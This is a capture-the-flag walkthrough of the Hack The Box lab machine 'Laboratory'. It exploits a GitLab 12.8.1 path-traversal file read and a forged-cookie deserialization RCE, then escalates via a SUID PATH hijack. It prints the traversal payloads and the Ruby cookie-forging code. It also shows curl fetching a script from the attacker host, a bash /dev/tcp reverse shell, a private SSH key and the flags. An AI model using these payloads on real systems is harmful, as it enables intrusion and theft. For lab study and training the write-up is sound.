Hack The Box Writeup: Laboratory (10.10.10.216)

This box has to be the toughest one I have done until now. Easy box? Hell no! With a current rating of 4.5, it is higher than most of the Medium level boxes. I started this one off with my brother in arms T13nn3s during a pizza and hack evening at work. Be sure to check out his blog.

[0x1] Reconnaissance & Enumeration

Let’s start this box with a Nmap scan to see which ports are available. It is not much, but there are two active ports which I can use. Port 80 gets redirected to https://laboratory.htb so that one doesn’t appear to be interesting.

nmap -sC -sV -p- -oA laboratory-allports 10.10.10.216

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-20 11:14 EST
Nmap scan report for laboratory (10.10.10.216)
Host is up (0.057s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

When opening the website there is a certificate warning. This is always nice because when you look at the certificate you can see if there are any other hostnames used for this box. As the Nmap already revealed, there is a second domain running on the box under the url: https://git.laboratory.htb. First, let’s check out the current site for anything interesting.

The main website does not really have anything interesting on it. No usernames or clues to information that is usable. So for now, I will let this page be it boring self.

The newfound DNS names appear to be a hosted GitLab Community Edition service. This must be the way to the initial foothold.

[0x2] Initial Foothold

The first thing I tried was to create an account on the website to see what would happen. This worked without any problems. After clicking around, I created some projects within the application but there was nothing out of the ordinary there.

After some searching around we stumbled upon an article about an Arbitrary File Read vulnerability in GitLab. It was disclosed on HackerOne and present in the running version on this box, namely 12.8.1. The way to exploit the vulnerability is to create an Issue in a project, use the payload as the text, and then save it. Now you move it to another project and the requested file is added as an attachment. The reason this works is that there is no validation of the filenames to be copied when you move an issue to another project. So to see if it worked we used the payload below for the /etc/passwd file.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Now that our Issue is created, we can proceed with the movement to another project. As you can see below the “getPasswdIssue” text, there is no attachment, only the letter ‘a’.

After the move is complete, the ‘a’ changes to a paperclip icon with the name of the file attached.

When opening the attachment, the users from the passwd file and shown perfectly. This might come in handy for the future.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false 
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Having the File Read possibility is nice to have. But, what are we going to grab next? When reading through the vulnerability disclosure on HackerOne we noticed that there was also a payload described for achieving Remote Code Execution. Since one part of this was to grab the secrets.yml file from the box, the Arbitrary File Read payload came in handy again. Let’s repeat the process, but this time grab the secrets.yml file in /opt/gitlab/embedded/service/gitlab-rails/config/.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

And there we have it, the secrets.yml file nicely grabbed from the box, using the Arbitrary File Read vulnerability.

secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

To get to the stage of using this file in an RCE attack, you need to locally install GitLab. This way you have a local Ruby on Rails which is needed to build the payload. Some people used the docker container for this, but I installed Gitlab locally on my machine. Since I can easily revert a snapshot after this box, I don’t mind the clutter.

I downloaded the installation file from the GitLab website. In my case that was gitlab-ce_12.8.1-ce.o_amd64.deb. After the download, it can be installed using dpkg.

sudo dpkg -i ~/Downloads/gitlab-ce_12.8.1-ce.0_amd64.deb 

Selecting previously unselected package gitlab-ce.
(Reading database ... 358190 files and directories currently installed.)
Preparing to unpack .../gitlab-ce_12.8.1-ce.0_amd64.deb ...
Unpacking gitlab-ce (12.8.1-ce.0) ...
Setting up gitlab-ce (12.8.1-ce.0) ...
It looks like GitLab has not been configured yet; skipping the upgrade script.

       *.                  *.                                                                                                                                                                                                              
      ***                 ***                                                                                                                                                                                                              
     *****               *****                                                                                                                                                                                                             
    .******             *******                                                                                                                                                                                                            
    ********            ********                                                                                                                                                                                                           
   ,,,,,,,,,***********,,,,,,,,,                                                                                                                                                                                                           
  ,,,,,,,,,,,*********,,,,,,,,,,,                                                                                                                                                                                                          
  .,,,,,,,,,,,*******,,,,,,,,,,,,                                                                                                                                                                                                          
      ,,,,,,,,,*****,,,,,,,,,.                                                                                                                                                                                                             
         ,,,,,,,****,,,,,,                                                                                                                                                                                                                 
            .,,,***,,,,                                                                                                                                                                                                                    
                ,*,.                                                                                                                                                                                                                       
                                                                                                                                                                                                                                           
     _______ __  __          __                                                                                                                                                                                                            
    / ____(_) /_/ /   ____ _/ /_                                                                                                                                                                                                           
   / / __/ / __/ /   / __ `/ __ \                                                                                                                                                                                                          
  / /_/ / / /_/ /___/ /_/ / /_/ /                                                                                                                                                                                                          
  \____/_/\__/_____/\__,_/_.___/                                                                                                                                                                                                           
                                                                                                                                                                                                                                        
Thank you for installing GitLab!
GitLab was unable to detect a valid hostname for your instance.
Please configure a URL for your GitLab instance by setting `external_url`
configuration in /etc/gitlab/gitlab.rb file.
Then, you can start your GitLab instance by running the following command:
  sudo gitlab-ctl reconfigure

When the installation is finished, which takes a few minutes, you have to reconfigure GitLab as stated in the instructions. This will also take a few minutes.

gitlab-ctl reconfigure

Now that GitLab is setup, there is one thing left to do. Making sure that the secrets.yml file contains the secret_key_base value grabbed using the Arbitrary File Read.

nano opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

production:
  db_key_base: 63416a838bdd04fa3e48281cc041048a2dd5b2e7fb548b6412adf4318c080fa8d07bffea2235f868ac4c4ae5a3e8a73124e768e08cfab08056e88b9f573131bd
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: c1017c34798618ccd58869435107fb037497ef0aa93423bbebf305a7411cea83a58e14d3786fa8a7b0df668537b8ea9e953a615bfcfb28c3f4aa0a92e52d35c7
  openid_connect_signing_key: |

Now that everything is setup, it’s time to start the gitlab-rails console and create the payload.

gitlab-rails console

--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):001:0> 

Since my goal is to get RCE and create a reverse shell, I first create a bash script with a simple reverse shell command to my machine.

#!bin/bash
bash -i >& /dev/tcp/10.10.14.64/1337 0>&1

The reverse shell script will be downloaded from the box. Using Python the file is served on a web server at port 8000.

python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) 

Now I use the payload from the writeup and replace the value for erb. Using curl, the reverse shell script gets downloaded from the local running webserver and stored in /tmp/. After entering the payload in the console the cookie gets generated. This cookie value will be the payload to use for running a command on the server.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl 10.10.14.64:8000/revshell.sh -o /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

The output cookie is a large string you can simple copy.

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjY0OjgwMDAvcmV2c2hlbGwuc2ggLW8gL3RtcC9yZXZzaGVsbC5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d153f664a22b6fe0cf8e236df7ac59fff7ba5db3

Using curl towards the sign_in function of GitLab with our evil cookie, the server gets the command and runs it. Within the Python server, you can see the file being served. Since this box does not have a valid certificate but runs HTTPS, the -k parameter is needed to ignore the certificate warning.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjY0OjgwMDAvcmV2c2hlbGwuc2ggLW8gL3RtcC9yZXZzaGVsbC5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d153f664a22b6fe0cf8e236df7ac59fff7ba5db3" -k

Since the first payload placed the file on the server, I repeat the action to actually run the downloaded payload on the box.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
 
erb = ERB.new("<%= `bash /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Before firing off the cookie to the server, I set up a listener on port 1337 (because hacker).

netcat -lvnp 1337 
listening on [any] 1337 ...

Now for the final payload using the generated cookie to the GitLab server.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiVyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvcmV2c2hlbGwuc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--fe7c199c590a5328b4268085052665332d7b64d0" -k

Bam! Remote Code Execution and a reverse shell. I entered the box as the user ‘git’.

listening on [any] 1337 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.216] 60322
bash: cannot set terminal process group (393): Inappropriate ioctl for device 
bash: no job control in this shell
git@git:/$ whoami;id;hostname
git
uid=998(git) gid=998(git) groups=998(git)
git.laboratory.htb

[0x3] Path to User flag

The first thing I checked was the presence of the user flag. I kinda hoped to have that milestone reached, but unfortunately no flag. I did notice the presence of a .dockerenv file. This means I am in a container on a Docker host, not an actual machine. Damn!

git@git:/$ls -sla

ls -sla
total 88
4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 .
4 drwxr-xr-x 1 root root 4096 Jul 2 18:01 ..
0 -rwxr-xr-x 1 root root 0 Jul 2 18:01 .dockerenv
4 -rw-r--r-- 1 root root 157 Feb 24 2020 RELEASE 
4 drwxr-xr-x 2 root root 4096 Feb 24 2020 assets 
4 drwxr-xr-x 1 root root 4096 Feb 24 2020 bin
4 drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
[...
clip
...]
4 drwxr-xr-x 1 root root 4096 Feb 12 2020 usr
4 drwxr-xr-x 1 root root 4096 Feb 12 2020 var

After searching around for a while, someone in the community gave me a hint. “Use the same console, but see if you can make the current user more powerful”. With this information, I launched the Rails console again and started looking for a user command.

git@git:~/gitlab-rails/shared$ gitlab-rails console

gitlab-rails console
--------------------------------------------------------------------------------

 GitLab: 12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
Switch to inspect mode. 

I used the command user.column_names to see what properties are included for a user. One of the properties is ‘admin’. Interesting….

User.column_names

#There is a field named admin as aproperty for the user

["id", "email", "encrypted_password", "reset_password_token", "reset_password_sent_at", "remember_created_at", "sign_in_count", "current_sign_in_at", "last_sign_in_at", "current_sign_in_ip", "last_sign_in_ip", "created_at", "updated_at", "name", "admin", "projects_limit", "skype", "linkedin", "twitter", "bio", "failed_attempts", "locked_at", "username", "can_create_group", "can_create_team", "state", "color_scheme_id", "password_expires_at", "created_by_id", "last_credential_check_at", "avatar", "confirmation_token", "confirmed_at", "confirmation_sent_at", "unconfirmed_email", "hide_no_ssh_key", "website_url", "admin_email_unsubscribed_at", "notification_email", "hide_no_password", "password_automatically_set", "location", "encrypted_otp_secret", "encrypted_otp_secret_iv", "encrypted_otp_secret_salt", "otp_required_for_login", "otp_backup_codes", "public_email", "dashboard", "project_view", "consumed_timestep", "layout", "hide_project_limit", "note", "unlock_token", "otp_grace_period_started_at", "external", "incoming_email_token", "organization", "auditor", "require_two_factor_authentication_from_group", "two_factor_grace_period", "ghost", "last_activity_on", "notified_of_own_activity", "preferred_language", "email_opted_in", "email_opted_in_ip", "email_opted_in_source_id", "email_opted_in_at", "theme_id", "accepted_term_id", "feed_token", "private_profile", "roadmap_layout", "include_private_contributions", "commit_email", "group_view", "managing_group_id", "bot_type", "first_name", "last_name", "static_object_token", "role"]

You can select a user and see if it’s admin using the user.find_by command and after that check if it’s has admin permissions. Using my signup email address it shows that I am not an admin.

myuser=User.find_by(email: "d0p4m1n3mail@laboratory.htb")
#<User id:5 @d0p4m1n3>

myuser.admin
false

At this moment I started to love the power of Ruby instantly. You can simply change the value of a user attribute by setting its value. So I changed the value for admin to true and saved it. After repeating the command above, I noticed that I now am an admin.

myuser.admin=true
true

myuser.save
true

When I started to look around on the GitLab website, I got really excited. Now that I am an admin, there are two private projects visible. And the last one has the name “SecureDocker”. That must be where the loot is.

When opening the project there is a repo with some information. Also, a folder named “Dexter’. I have seen this name before on the default website, so that could maybe be the next user I need.

And this is exactly what I was looking for. An SSH key for the user Dexter.

Let’s save this key in a file for usage with the ssh client.

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

The key is valid and using SSH, I can now connect to the box as Dexter.

dexter@laboratory.htb -i ssh_key.txt

dexter@laboratory:~$ whoami;id;hostname
dexter
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
laboratory

There better be a user flag in here. And fortunately, there is.

dexter@laboratory:~$ ls -la

total 40

drwxr-xr-x 6 dexter dexter 4096 Oct 22 08:42 .
drwxr-xr-x 3 root root 4096 Jun 26 20:17 ..
lrwxrwxrwx 1 root root 9 Jul 17 15:19 .bash_history -> /dev/null
-rw-r--r-- 1 dexter dexter 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 dexter dexter 3771 Feb 25 2020 .bashrc
drwx------ 2 dexter dexter 4096 Jun 26 20:29 .cache
drwx------ 2 dexter dexter 4096 Oct 22 08:14 .gnupg
drwxrwxr-x 3 dexter dexter 4096 Jun 26 20:48 .local
-rw-r--r-- 1 dexter dexter 807 Feb 25 2020 .profile
drwx------ 2 dexter dexter 4096 Jun 26 21:21 .ssh
-r--r----- 1 root dexter 33 Nov 20 16:11 user.txt

dexter@laboratory:~$ cat user.txt 
6c49118f0d340271ec66e01b0ed698e9

[0x4] Path to Root flag

Now the only step left is the privilege escalation to root. I used linpeas first, but this did not really give me what I was looking for. Time for LinEnum.

linenum.sh

LinEnum found an interesting SUID file. On this file, Dexter has permissions. Usually, this means “bingo”.

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security

When checking the content of the docker-security file, there is a lot of jibberish. This is due to the fact that I am using cat to read it. As you can see, it calls chmod two times.

Using a Privilege Escalation using Path variable, you can trick the machine into executing a program in the current direction first, instead of the actual location. When you have a (.) in your Path, you could execute a command, in my case chmod in the location you are currently are. We know the docker-security program runs chmod. So why not create a file called chmod and put it in a bash shell. When the attack works, the chmod file in the current directory will be run, instead of the one in /usr/bin.

echo "/bin/bash" > chmod
chmod +x chmod
export PATH=.:${PATH}
/usr/local/bin/docker-security

When I run the docker-security program while in /tmp/ chmod gets executed and the root shell appears.

root@laboratory:/tmp# whoami;id;hostname

root
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
laboratory

Finally, this box is rooted. I have no idea who put the label “Easy” on this box because it scores higher than some Hard boxes. Nevertheless, it’s done!

root@laboratory:/tmp# cat /root/root.txt
27494a8bbebd7f5bc77578989ffab272


[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.